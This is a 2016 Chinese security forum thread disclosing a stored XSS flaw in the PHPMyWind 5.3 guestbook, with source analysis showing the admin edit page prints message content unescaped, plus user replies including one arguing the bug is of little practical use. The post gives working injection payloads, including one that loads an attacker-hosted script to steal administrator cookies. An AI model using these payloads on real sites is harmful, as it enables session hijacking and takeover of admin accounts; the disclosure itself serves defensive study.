小雨 发表于 2016-8-26 15:14:23

PHPMyWind_5.3存储型Xss

本帖最后由 小雨 于 2016-8-26 15:17 编辑

http://127.0.0.1/PHPMyWind_5.3/shoppingcart.php 留言板地址

以ing开头(可以是其他)

“><img/src=x onerror=alert(2001)><“‘
http://www.yuag.org/wp-content/uploads/2016/08/1.png

后台

127.0.0.1/PHPMyWind_5.3/admin/message.php

需要点击修改才可以弹XSS

如果管理员留言需要前台显示(或者回复)就必须点击修改。

http://www.yuag.org/wp-content/uploads/2016/08/2.png

http://www.yuag.org/wp-content/uploads/2016/08/3.png

ps:如果想打管理员cookie 就这个构造一下img

<img src=x onerror=s=createElement(‘script’);body.appendChild(s);s.src=’你的js地址’;>

代码分析:

PHPMyWind_5.3/message.php (25-41)

$r = $dosql->GetOne("SELECT Max(orderid) AS orderid FROM `#@__message`");
                $orderid= (empty($r['orderid']) ? 1 : ($r['orderid'] + 1));
                $nickname = htmlspecialchars($nickname);//游客(xxx)
                $contact= htmlspecialchars($contact); //联系方式
                $content= htmlspecialchars($content); //留言内容
               
                $posttime = GetMkTime(time());
                $ip       = gethostbyname($_SERVER['REMOTE_ADDR']);
       
       
                $sql = "INSERT INTO `#@__message` (siteid, nickname, contact, content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES (1, '$nickname', '$contact', '$content', '$orderid', '$posttime', '', '', 'false', '$ip')";
                if($dosql->ExecNoneQuery($sql))
                {
                        ShowMsg('留言成功,感谢您的支持!','message.php');
                        exit();
                }
        }


可以看出使用htmlspecialchars进行过滤,带入库中.

跟进content参数。

127.0.0.1/PHPMyWind_5.3/admin/ message_update.php


<?php require_once(dirname(__FILE__).'/inc/config.inc.php');IsModelPriv('message'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>修改留言</title>
<link href="templates/style/admin.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="templates/js/jquery.min.js"></script>
<script type="text/javascript" src="templates/js/checkf.func.js"></script>
<script type="text/javascript" src="editor/kindeditor-min.js"></script>
<script type="text/javascript" src="editor/lang/zh_CN.js"></script>
</head>
<body>
<?php
$row = $dosql->GetOne("SELECT * FROM `#@__message` WHERE `id`=$id");
?>
<div class="formHeader"> <span class="title">修改留言</span> <a href="javascript:location.reload();" class="reload">刷新</a> </div>
<form name="form" id="form" method="post" action="message_save.php" onsubmit="return cfm_msg();">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" class="formTable">
                <tr>
                        <td width="25%" height="40" align="right">用户名:</td>
                        <td width="75%"><strong><?php echo $row['nickname'] ?></strong></td>
                </tr>
                <tr>
                        <td height="40" align="right">联系方式:</td>
                        <td><input type="text" name="contact" id="contact" class="input" value="<?php echo $row['contact'] ?>" /></td>
                </tr>
                <tr>
                        <td height="198" align="right">留言内容:</td>
                        <td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea>
                                <script>
p:33

<td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea>


后台直接取出content参数,数据并未进行转义操作。



源码下载:http://phpmywind.com/downloads/PHPMyWind_5.3.zip

转载请注明来源
http://www.yuag.org/2016/08/17/phpmywind_5-3%E5%AD%98%E5%82%A8%E5%9E%8Bxss/

查看:poc
**** Hidden Message *****

90_ 发表于 2016-8-26 19:39:16

分析还是不错的

我吃大苹果 发表于 2016-8-26 21:09:48

RE: PHPMyWind_5.3存储型Xss

感觉挺有意思的,过来学习

blackhold 发表于 2016-8-27 10:54:12

RE: PHPMyWind_5.3存储型Xss

多谢分享,tks

Fxfang 发表于 2016-8-27 21:29:41

本帖最后由 Fxfang 于 2016-8-27 21:42 编辑

XSS确实存在,不过,


「如果管理员留言需要前台显示(或者回复)就必须点击修改。」这句话有问题

测过了,并不需要一定要修改

针对于短留言:
有经验的管理员,直接删除就是了(因为有预览的机制存在,完全可以预览,而且预览界面不会有XSS),完全没必要点击「修改」

针对于长留言:
这个漏洞说不定还起点作用,但是仍然可以直接批审通过(大多数管理员偷懒确实也会这么做),而不去看详细内容,XSS就会失败;管理员也可以稍后自行在留言页面查看,也不会有XSS

且,获得cookie后登录,admin控制面板会记录登录日志(包括ip, action)这个存在于pwm_sysevent数据表中


所以,觉得这个漏洞很鸡肋:)

王宇超 发表于 2016-8-30 19:29:24

学习一下


Dedood 发表于 2016-9-1 11:38:11

RE: PHPMyWind_5.3存储型Xss

不明觉厉。

daxin 发表于 2016-9-20 11:22:11

RE: PHPMyWind_5.3存储型Xss

:D我喜欢这个

wenxun 发表于 2019-8-11 17:07:08

:Q:Q:Q:Q:Q:Q:Q:Q
页: [1]
查看完整版本: PHPMyWind_5.3存储型Xss